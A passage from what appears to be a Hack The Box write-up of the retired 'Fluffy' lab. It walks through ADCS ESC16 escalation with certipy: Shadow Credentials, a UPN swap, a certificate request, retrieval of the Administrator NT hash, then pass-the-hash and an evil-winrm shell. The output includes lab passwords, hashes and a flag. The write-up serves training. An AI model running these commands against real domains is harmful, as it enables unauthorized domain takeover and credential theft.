[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

nxc confirmed that the hash was valid.

fcoomans@kali:~/htb/fluffy$ nxc smb dc01.fluffy.htb -u ca_svc -H ca0f4f9e9eb8a092addf53bb03fc98c8
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\ca_svc:ca0f4f9e9eb8a092addf53bb03fc98c8

certipy-ad find was run again, but this time as the ca_svc service account to find ADCS vulnerabilities.

fcoomans@kali:~/htb/fluffy$ certipy-ad find -u ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -ns 10.10.11.69 -dc-ip dc01.fluffy.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250716135234_Certipy.txt'
[*] Wrote text output to '20250716135234_Certipy.txt'
[*] Saving JSON output to '20250716135234_Certipy.json'
[*] Wrote JSON output to '20250716135234_Certipy.json'

Looking at the generated logs revealed that the ADCS was vulnerable to ESC16.

fcoomans@kali:~/htb/fluffy$ cat 20250716135234_Certipy.txt
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

<SNIP>

BloodHound also confirmed that the ca_svc service account was responsible for publishing certificates, through it’s membership to the CERT PUBLISHERS group.

🧪 Exploitation

The certipy-ad wiki shows the exact steps needed to perform the ESC16 vulnerability exploit. https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally

I once again used p.agila to perform the ESC16 attack using ca_svc to escalate privileges.

An automated script on the server removed p.agila from the SERVICE ACCOUNTS group. So, I re-added the user to the group and proceeded with the steps from the wiki.

fcoomans@kali:~/htb/fluffy$ net rpc group members "SERVICE ACCOUNTS" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\winrm_svc

fcoomans@kali:~/htb/fluffy$ net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"

fcoomans@kali:~/htb/fluffy$ net rpc group members "SERVICE ACCOUNTS" -U "FLUFFY/p.agila%prometheusx-303" -S "dc01.fluffy.htb"
FLUFFY\ca_svc
FLUFFY\ldap_svc
FLUFFY\p.agila
FLUFFY\winrm_svc

Step 1: Read initial UPN of the victim account (Optional - for restoration).

fcoomans@kali:~/htb/fluffy$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.10.11.69 -user 'ca_svc' read
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : ca_svc@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2025-07-16T12:57:03+00:00

Step 2: Update the victim account’s UPN to the target administrator’s sAMAccountName.

fcoomans@kali:~/htb/fluffy$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.10.11.69 -upn 'administrator@fluffy.htb' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator@fluffy.htb
[*] Successfully updated 'ca_svc'

fcoomans@kali:~/htb/fluffy$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.10.11.69 -user 'ca_svc' read
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn                                  : certificate authority service
    distinguishedName                   : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
    name                                : certificate authority service
    objectSid                           : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                      : ca_svc
    servicePrincipalName                : ADCS/ca.fluffy.htb
    userPrincipalName                   : administrator@fluffy.htb
    userAccountControl                  : 66048
    whenCreated                         : 2025-04-17T16:07:50+00:00
    whenChanged                         : 2025-07-16T13:11:16+00:00

Step 3: (If needed) Obtain credentials for the “victim” account (e.g., via Shadow Credentials).

fcoomans@kali:~/htb/fluffy$ certipy-ad shadow -u p.agila -p prometheusx-303 -dc-ip 10.10.11.69 -account ca_svc auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '3aef2508-f2d0-4612-e11b-509c1faaab00'
[*] Adding Key Credential with device ID '3aef2508-f2d0-4612-e11b-509c1faaab00' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '3aef2508-f2d0-4612-e11b-509c1faaab00' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
File 'ca_svc.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8

fcoomans@kali:~/htb/fluffy$ export KRB5CCNAME=ca_svc.ccache

fcoomans@kali:~/htb/fluffy$ klist
Ticket cache: FILE:ca_svc.ccache
Default principal: ca_svc@FLUFFY.HTB

Valid starting       Expires              Service principal
07/16/2025 15:16:56  07/17/2025 01:16:56  krbtgt/FLUFFY.HTB@FLUFFY.HTB
        renew until 07/17/2025 15:16:28

Step 4: Request a certificate as the “victim” user from any suitable client authentication template (e.g., “User”) on the ESC16-vulnerable CA.

fcoomans@kali:~/htb/fluffy$ certipy-ad req -k -dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fluffy.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Step 5: Revert the “victim” account’s UPN.

fcoomans@kali:~/htb/fluffy$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip 10.10.11.69 -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'

Step 6: Authenticate as the target administrator.

fcoomans@kali:~/htb/fluffy$ certipy-ad auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@fluffy.htb'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

nxc confirmed that the Administrator NTLM hash was valid.

fcoomans@kali:~/htb/fluffy$ nxc smb dc01.fluffy.htb -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\Administrator:8da83a3fa618b6e3a00e93f676c92a6e (Pwn3d!)

evil-winrm was used to connect to the server as the Administrator user.

fcoomans@kali:~/htb/fluffy$ evil-winrm -i dc01.fluffy.htb -u 'administrator@fluffy.htb' -H '8da83a3fa618b6e3a00e93f676c92a6e'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator

💰 Post Exploitation

🏆 root.txt

The Administrator user holds the root.txt flag.

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
d27cc7823bc05cda72cb4d8b4f5cccc5

Remember: what’s shared on the file server doesn’t stay on the file server. 📂

And Fluffy has been Pwned! 🎉

📚 Lessons Learned

  • File Shares Must be Controlled and Monitored: Shared file servers need regular reviews to ensure that sensitive documents are either encrypted, access-controlled, or not stored there at all.
  • Principle of Least Privilege (PoLP): Users should only have the minimal rights needed for their role. In this case, excessive ACE (Access Control Entries) allowed privilege escalation.
  • ADCS ESC16 – Certificate Authority Abuse: ESC16 is a misconfiguration where the Certificate Authority’s template allows overly broad enrollment or dangerous flag settings. This enables attackers to request certificates that can be used for domain compromise.

⚠️ Disclaimer

This write-up covers a retired HTB machine and is for educational purposes only. All IPs, credentials, and flags exist in a lab environment. My username is intentionally used throughout this write-up to build my cybersecurity brand.

Updated: